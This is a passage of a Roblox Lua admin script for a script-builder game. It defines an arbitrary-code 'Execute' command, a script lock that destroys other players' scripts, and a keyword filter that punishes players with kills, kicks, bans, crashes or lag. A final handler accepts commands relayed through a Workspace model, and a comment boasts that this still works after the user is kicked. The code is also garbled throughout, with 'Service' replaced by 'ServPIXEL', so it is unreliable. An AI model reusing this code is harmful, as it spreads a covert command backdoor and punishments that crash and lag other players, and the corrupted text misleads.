4141 | End.Value=PIXEL.Ender | |
4142 | End.Parent=PIXEL.ServPIXELs.Lighting | |
4143 | for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do PIXEL.RemoveTablets(v) PIXEL.SaveData(v) end | |
4144 | End:Destroy() | |
4145 | end)() | |
4146 | end | |
4147 | ) | |
4148 | PIXEL.Command('Lock scripts','lockscr',10,'Locks Scripting','No arguments', | |
4149 | function() | |
4150 | PIXEL.LockedScripts=true | |
4151 | end | |
4152 | ) | |
4153 | PIXEL.Command('Un-Lock scripts','unlockscr',10,'Un-Locks Scripting','No arguments', | |
4154 | function() | |
4155 | PIXEL.LockedScripts=false | |
4156 | end | |
4157 | ) | |
4158 | PIXEL.Command('Execute','exe',10,'Executes a line of coding','code', | |
4159 | function(Msg,Speaker) | |
4160 | local Func,Error = loadstring(Msg) | |
4161 | getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end PIXEL.Output(Rtn,"White",Speaker) end | |
4162 | getfenv(Func).Speaker = Speaker | |
4163 | getfenv(Func).PIXEL=PIXEL; | |
4164 | if Error == nil then | |
4165 | coroutine.wrap(function() | |
4166 | Func() | |
4167 | end)() | |
4168 | PIXEL.Output("Script ran successfully!","Green",Speaker,3) | |
4169 | else | |
4170 | PIXEL.Output(Error,"Red",Speaker,5) | |
4171 | end | |
4172 | end | |
4173 | ) | |
4174 | PIXEL.Command('System msg','sm',10,'System msg','Text', | |
4175 | function(Text,Speaker) | |
4176 | PIXEL.SystemMsg(Text) | |
4177 | end | |
4178 | ) | |
4179 | PIXEL.Command('Fix chat','fc',10,'Fixes chats for everyone','No arguments', | |
4180 | function() | |
4181 | for _,v in pairs(game:servPIXEL'Players':GetPlayers()) do | |
4182 | PIXEL.FixChat(v); | |
4183 | end | |
4184 | end | |
4185 | ) | |
4186 | --[[ Connections ]]-- | |
4187 | game:servPIXEL'RunServPIXEL'.Stepped:connect(function() if PIXEL.Removed==false then PIXEL.Rotate() end end) | |
4188 | for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do | |
4189 | PIXEL.Connect(v) | |
4190 | end | |
4191 | PIXEL.ServPIXELs.Players.PlayerAdded:connect(function(r) if PIXEL.Removed==false then PIXEL.Connect(r) end end) | |
4192 | PIXEL.ServPIXELs.Players.PlayerRemoving:connect(function(v) PIXEL.RemoveTablets(v) if PIXEL.Removed==false and PIXEL.DataSaving==true then PIXEL.SaveData(v) end end) | |
4193 | --[[ End of Connections ]]-- | |
4194 | for _,ServPIXEL in pairs(PIXEL.ServPIXELs) do | |
4195 | pcall(function() | |
4196 | ServPIXEL.DescendantAdded:connect(function(v) | |
4197 | if v:IsA("BaseScript") and PIXEL.LockedScripts == true and PIXEL.Removed == false then | |
4198 | pcall(function() | |
4199 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or v:findFirstChild('Owner') then-- For /scr/ Cmd --game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
4200 | if PIXEL.GetRank(v.Owner.Value) <= 0 then | |
4201 | pcall(function() v.Disabled = true end) | |
4202 | pcall(function() v:FindFirstChild("Source").Value =PIXEL.Disabler end) | |
4203 | pcall(function() v.Disabled = false end) | |
4204 | pcall(function() v:Destroy() end) | |
4205 | end | |
4206 | elseif game.PlaceId ==54194680 then | |
4207 | if PIXEL.GetRank(v.user.Value) <= 0 then | |
4208 | pcall(function() v.Disabled = true end) | |
4209 | pcall(function() v:FindFirstChild("Source").Value =PIXEL.Disabler end) | |
4210 | pcall(function() v.Disabled = false end) | |
4211 | pcall(function() v:Destroy() end) | |
4212 | end | |
4213 | else | |
4214 | pcall(function() v.Disabled = true end) | |
4215 | pcall(function() v:FindFirstChild("Source").Value = PIXEL.Disabler end) | |
4216 | pcall(function() v:FindFirstChild("DSource").Value =PIXEL.Disabler end) | |
4217 | pcall(function() v.Disabled = false end) | |
4218 | pcall(function() v:Destroy() end) | |
4219 | end | |
4220 | end) | |
4221 | end | |
4222 | end) | |
4223 | end) | |
4224 | end | |
4225 | for _,v in pairs(script:children()) do | |
4226 | if v:IsA'StringValue' then | |
4227 | v.Value="error('No value for you',0)()" | |
4228 | end | |
4229 | end | |
4230 | script:ClearAllChildren(); | |
4231 | PIXEL.Filter=function(Phrase,Bypass,Punishment,Reason) | |
4232 | if Punishment == nil then Punishment = 0 end | |
4233 | if type(Punishment) == 'string' then | |
4234 | if Punishment=='Kill' then Punishment=0 end | |
4235 | if Punishment=='K'..'ick' then Punishment=1 end | |
4236 | if Punishment=='Shutdown' then Punishment = 2 end | |
4237 | if Punishment=='Crash' then Punishment = 3 end | |
4238 | if Punishment=='B'..'an' then Punishment=4 end | |
4239 | if Punishment=='Lag' then Punishment=5 end | |
4240 | end | |
4241 | PIXEL.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason} | |
4242 | end | |
4243 | PIXEL.Filter('function l'..'ag()',9,'Ban','Lag attempt') | |
4244 | PIXEL.Filter('iO'..'rb',2,2,'Abusive') | |
4245 | PIXEL.Filter('iCm'..'d={}',2,2,'iOrb') | |
4246 | PIXEL.Filter('game.Players:ClearAllChildren',2,4,"Kick attempt") | |
4247 | PIXEL.Filter('ClonyPooP'..'oo',2,2,'PIXELAdminLeakeds Nilizer or TeamDmans KeyBindings') | |
4248 | PIXEL.Filter("No".."va =",4,2,"Admi".."n") | |
4249 | PIXEL.Filter("Ranked = {",4,"Ban","This is a ranked table in NOVA") | |
4250 | PIXEL.Filter('iFl'..'ip',3,4,"Adm".."in") | |
4251 | PIXEL.Filter("/d".."own",2,2,"Ca".."mball") | |
4252 | PIXEL.Filter('repeat until',2,5,"Crash attempt") | |
4253 | PIXEL.Filter('while true do end',2,5,"Crash attempt") | |
4254 | PIXEL.Filter('string.rep',2,2,"Shuttdown attempt") | |
4255 | PIXEL.Filter(':rep',2,2,"Shutdown attempt") | |
4256 | PIXEL.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player") | |
4257 | PIXEL.Filter('kick:',1,'Kick','No kicking allowed') | |
4258 | PIXEL.Filter('ban/',2,4,"No banning allowed") | |
4259 | PIXEL.Filter('tprivate',2,4,"No pri losah") | |
4260 | PIXEL.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.") | |
4261 | PIXEL.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU") | |
4262 | PIXEL.Filter('p = game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ') | |
4263 | PIXEL.Filter('CB'..'A =',2,4,"Abusive") | |
4264 | PIXEL.Filter('Kill'..'/',1,'Kill') | |
4265 | PIXEL.Filter('Kic'..'k'..':'..'t',2,'K'..'ick') | |
4266 | PIXEL.Filter('swag',1,'Kill') | |
4267 | PIXEL.Filter('yolo',1,'Kill','Well I guess he/she isnt alive now :3') | |
4268 | PIXEL.Filter('ssj',1,'Kill',"A free model script") | |
4269 | PIXEL.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_> | |
4270 | PIXEL.Filter('adminlist = {',2,'Ki'..'ck','No admins allowed/Take over attempt') | |
4271 | PIXEL.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back/Exploit attempt') | |
4272 | PIXEL.Filter('colorAllGuisIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b/Server destroy attempt') | |
4273 | PIXEL.Filter('Decs.Crack',1,'Kick','Masterhand/Free model') | |
4274 | PIXEL.Filter('AquireTargets',9,'Ban','OhYa321;s N0b SB Prot(Gay) script/Take over attempt') | |
4275 | PIXEL.Filter('GetRidOf(',9,'Ban','A function in NOVA/Take over attempt') | |
4276 | game:servPIXEL'Workspace'.ChildAdded:connect(function(Child) | |
4277 | if Child:IsA'Model' then -- | |
4278 | if Child.Name=='External' then | |
4279 | local Player = nil; | |
4280 | for i,v in pairs(Child:children()) do if v:IsA'StringValue' and v.Value=='Player' then Player=v end end | |
4281 | local Message = Child.Message.Value | |
4282 | if Player then | |
4283 | PIXEL.OnChatted(Message,Player) | |
4284 | print('Message:'..Message,'Player:'..Player) | |
4285 | end | |
4286 | end | |
4287 | end | |
4288 | end) -- Mine uses cmds even fter your kicked ;) |